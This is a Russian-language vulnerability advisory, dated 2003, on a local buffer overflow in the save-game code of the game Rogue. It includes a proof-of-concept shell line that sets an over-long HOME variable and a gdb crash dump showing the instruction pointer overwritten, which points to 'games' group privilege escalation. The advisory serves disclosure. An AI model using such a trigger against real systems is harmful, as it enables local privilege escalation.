Security Lab

Локальное переполнение буфера в Rogue

Дата публикации:27.02.2003
Всего просмотров:1302
Опасность:
Низкая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: Rogue
Описание: Переполнение буфера обнаружено в Rogue. Локальный пользователь может получить дополнительные привилегии.

Переполнение обнаружено в 'save game' в функции save_into_file() в save.c'. Локальный пользователь может представить специально сформированную переменную среды HOME и представить имя файла, которое начинается с тильды ('~') при записи игры. Rogue тильду содержанием HOME переменной, не проверяя при этом ее длину. Заполняя переменную HOME более 111 символов, локальный пользователь может переполнить буфер при записи чрезмерно длинного имени файла. Любой код будет выполнен с привилегиями группы 'games'. Пример:

$ export HOME=`perl -e 'print "U" x 111;'`
$ gdb rogue
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/vsu/secwork/rogue/rogue

[rogue session snipped]

file name? ~A
~A-more-
problem accessing the save file
Program received signal SIGSEGV, Segmentation fault.
0x41555555 in ?? ()
(gdb) bt
#0  0x41555555 in ?? ()
Cannot access memory at address 0x55555555
(gdb) i r
eax            0x1f     31
ecx            0x656c69 6646889
edx            0xff646b68       -10196120
ebx            0x4213030c       1108542220
esp            0xbfffdd90       0xbfffdd90
ebp            0x55555555       0x55555555
esi            0x40013020       1073819680
edi            0xbfffde84       -1073750396
eip            0x41555555       0x41555555
eflags         0x10286  66182
Ссылки: Rogue buffer overflow